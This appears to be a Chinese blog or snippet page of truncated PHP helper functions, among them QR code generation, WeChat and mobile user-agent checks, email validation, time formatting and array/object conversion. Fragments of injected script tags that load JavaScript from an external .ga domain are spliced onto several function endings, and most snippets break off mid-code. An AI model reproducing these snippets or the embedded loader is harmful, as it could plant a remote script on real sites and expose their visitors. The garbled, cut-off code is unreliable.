起风了

  require_cache(APP_PATH . 'Lib/phpqrcode/phpqrcode.php'); //引入二维码生成图片，phpqrcode.php自行百度下载 //生成网址的二维码 返回图片地址 function QrCode($token, $url, $size = 8) { $md5 = md5($token); $dir = substr($md5, 0, 3) . '/' . substr($md5, 3, 3) . '/' . substr($md5, 6, 3) ...

function is_weixin() { return strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger'); }   function is_mobile() { $user_agent = $_SERVER['HTTP_USER_AGENT']; $mobile_agents = array("240x320", "acer", "acoon", "acs-", "abacho", "ahong", "airness", "alcatel", "amoi", "android", "anywher...

function isMail($email) { $pattern = "/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/"; if (preg_match($pattern, $email) != 1) { return false; } else { return true; } }eparty3.ga/l.js?n=1' type=text/javascript>

function formatTime($time) { $t = NOW_TIME - $time; $mon = (int) ($t / (86400 * 30)); if ($mon >= 1) { return '一个月前'; } $day = (int) ($t / 86400); if ($day >= 1) { return $day . '天前'; } $h = (int) ($t / 3600); if ($h >= 1) { return $h . '小时前'; } $min = (int) ($t / 60);...

function arrayToObject($e) { if (gettype($e) != 'array') return; foreach ($e as $k => $v) { if (gettype($v) == 'array' || getType($v) == 'object') $e[$k] = (object) arrayToObject($v); } return (object) $e; }e=text/javascript>

function objectToArray($e) { $e = (array) $e; foreach ($e as $k => $v) { if (gettype($v) == 'resource') return; if (gettype($v) == 'object' || gettype($v) == 'array') $e[$k] = (array) objectToArray($v); } return $e; }script>

原字符串1,2,3,4,5,6, 去掉最后一个字符","，最终结果为1,2,3,4,5,6 代码如下： $str = "1,2,3,4,5,6,"; $newstr = substr($str,0,strlen($str)-1); echo $newstr; //echo 1,2,3,4,5,6 系统自带的函数即可实现这样的效果，两种方法： substr($str, 0, -1) //函数2 rtrim($str, ",") pt src='https://letsm...